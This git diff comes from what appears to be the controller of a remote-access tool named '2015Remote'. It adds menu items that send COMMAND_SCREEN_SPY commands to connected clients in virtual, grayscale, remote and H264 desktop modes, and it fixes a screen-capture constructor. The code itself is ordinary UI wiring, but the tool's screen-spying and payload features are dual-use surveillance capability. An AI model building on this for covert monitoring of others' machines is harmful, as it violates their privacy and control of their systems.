diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h
index 6f01c08..3b8d394 100644
--- a/client/ScreenCapture.h
+++ b/client/ScreenCapture.h
@@ -112,7 +112,7 @@ public:
 
 	ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF) : 
 		m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
-		m_BitmapInfor_Full(nullptr), m_bAlgorithm(ALGORITHM_DIFF), m_SendQuality(100),
+		m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100),
 		m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
 		m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
 		m_SendKeyFrame(false), m_encoder(nullptr) {
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index cc89b80..afb12a8 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 6719d65..722af8b 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -265,6 +265,10 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial
 	m_bmOnline[3].LoadBitmap(IDB_BITMAP_SHARE);
 	m_bmOnline[4].LoadBitmap(IDB_BITMAP_PROXY);
 	m_bmOnline[5].LoadBitmap(IDB_BITMAP_HOSTNOTE);
+	m_bmOnline[6].LoadBitmap(IDB_BITMAP_VDESKTOP);
+	m_bmOnline[7].LoadBitmap(IDB_BITMAP_GDESKTOP);
+	m_bmOnline[8].LoadBitmap(IDB_BITMAP_DDESKTOP);
+	m_bmOnline[9].LoadBitmap(IDB_BITMAP_SDESKTOP);
 
 	for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
 		m_ServerDLL[i] = nullptr;
@@ -356,6 +360,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
 	ON_COMMAND(ID_HELP_FEEDBACK, &CMy2015RemoteDlg::OnHelpFeedback)
 	// 将所有动态子菜单项的命令 ID 映射到同一个响应函数
 	ON_COMMAND_RANGE(ID_DYNAMIC_MENU_BASE, ID_DYNAMIC_MENU_BASE + 20, &CMy2015RemoteDlg::OnDynamicSubMenu)
+	ON_COMMAND(ID_ONLINE_VIRTUAL_DESKTOP, &CMy2015RemoteDlg::OnOnlineVirtualDesktop)
+	ON_COMMAND(ID_ONLINE_GRAY_DESKTOP, &CMy2015RemoteDlg::OnOnlineGrayDesktop)
+	ON_COMMAND(ID_ONLINE_REMOTE_DESKTOP, &CMy2015RemoteDlg::OnOnlineRemoteDesktop)
+	ON_COMMAND(ID_ONLINE_H264_DESKTOP, &CMy2015RemoteDlg::OnOnlineH264Desktop)
 END_MESSAGE_MAP()
 
 
@@ -975,6 +983,10 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
 	Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]);
 	Menu.SetMenuItemBitmaps(ID_MAIN_PROXY, MF_BYCOMMAND, &m_bmOnline[4], &m_bmOnline[4]);
 	Menu.SetMenuItemBitmaps(ID_ONLINE_HOSTNOTE, MF_BYCOMMAND, &m_bmOnline[5], &m_bmOnline[5]);
+	Menu.SetMenuItemBitmaps(ID_ONLINE_VIRTUAL_DESKTOP, MF_BYCOMMAND, &m_bmOnline[6], &m_bmOnline[6]);
+	Menu.SetMenuItemBitmaps(ID_ONLINE_GRAY_DESKTOP, MF_BYCOMMAND, &m_bmOnline[7], &m_bmOnline[7]);
+	Menu.SetMenuItemBitmaps(ID_ONLINE_REMOTE_DESKTOP, MF_BYCOMMAND, &m_bmOnline[8], &m_bmOnline[8]);
+	Menu.SetMenuItemBitmaps(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND, &m_bmOnline[9], &m_bmOnline[9]);
 
 	// 创建一个新的子菜单
 	CMenu newMenu;
@@ -2480,3 +2492,31 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
 	}
 	LeaveCriticalSection(&m_cs);
 }
+
+
+void CMy2015RemoteDlg::OnOnlineVirtualDesktop()
+{
+	BYTE	bToken[32] = { COMMAND_SCREEN_SPY, 2, ALGORITHM_DIFF };
+	SendSelectedCommand(bToken, sizeof(bToken));
+}
+
+
+void CMy2015RemoteDlg::OnOnlineGrayDesktop()
+{
+	BYTE	bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_GRAY };
+	SendSelectedCommand(bToken, sizeof(bToken));
+}
+
+
+void CMy2015RemoteDlg::OnOnlineRemoteDesktop()
+{
+	BYTE	bToken[32] = { COMMAND_SCREEN_SPY, 1, ALGORITHM_DIFF };
+	SendSelectedCommand(bToken, sizeof(bToken));
+}
+
+
+void CMy2015RemoteDlg::OnOnlineH264Desktop()
+{
+	BYTE	bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_H264 };
+	SendSelectedCommand(bToken, sizeof(bToken));
+}
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 44613e9..8d7226f 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -182,7 +182,7 @@ public:
 	CRITICAL_SECTION m_cs;
 	BOOL       isClosed;
 	CMenu	   m_MainMenu;
-	CBitmap m_bmOnline[6];
+	CBitmap m_bmOnline[10];
 	bool CheckValid();
 	afx_msg void OnTimer(UINT_PTR nIDEvent);
 	afx_msg void OnClose();
@@ -235,4 +235,8 @@ public:
 	afx_msg void OnHelpImportant();
 	afx_msg void OnHelpFeedback();
 	afx_msg void OnDynamicSubMenu(UINT nID);
+	afx_msg void OnOnlineVirtualDesktop();
+	afx_msg void OnOnlineGrayDesktop();
+	afx_msg void OnOnlineRemoteDesktop();
+	afx_msg void OnOnlineH264Desktop();
 };
diff --git a/server/2015Remote/res/Bitmap/DxgiDesktop.bmp b/server/2015Remote/res/Bitmap/DxgiDesktop.bmp
new file mode 100644
index 0000000..55d890e
Binary files /dev/null and b/server/2015Remote/res/Bitmap/DxgiDesktop.bmp differ
diff --git a/server/2015Remote/res/Bitmap/GrayDesktop.bmp b/server/2015Remote/res/Bitmap/GrayDesktop.bmp
new file mode 100644
index 0000000..817f885
Binary files /dev/null and b/server/2015Remote/res/Bitmap/GrayDesktop.bmp differ
diff --git a/server/2015Remote/res/Bitmap/SpeedDesktop.bmp b/server/2015Remote/res/Bitmap/SpeedDesktop.bmp
new file mode 100644
index 0000000..bceb455
Binary files /dev/null and b/server/2015Remote/res/Bitmap/SpeedDesktop.bmp differ
diff --git a/server/2015Remote/res/Bitmap/VirtualDesktop.bmp b/server/2015Remote/res/Bitmap/VirtualDesktop.bmp
new file mode 100644
index 0000000..4ebb026
Binary files /dev/null and b/server/2015Remote/res/Bitmap/VirtualDesktop.bmp differ
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index c9939ed..b6d61fa 100644
Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ